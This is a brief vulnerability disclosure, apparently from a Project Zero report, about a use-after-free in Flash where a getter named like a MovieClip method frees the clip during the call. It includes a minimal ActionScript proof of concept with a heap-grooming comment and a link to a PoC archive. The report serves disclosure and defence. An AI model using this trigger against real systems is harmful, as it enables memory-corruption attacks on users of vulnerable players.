Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846

If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:

var mc =  this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");

function func(){
	
	mc.removeMovieClip();
	// Fix heap
	var d:Date = new Date();
	return d.getDate;
	
	}	


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40356.zip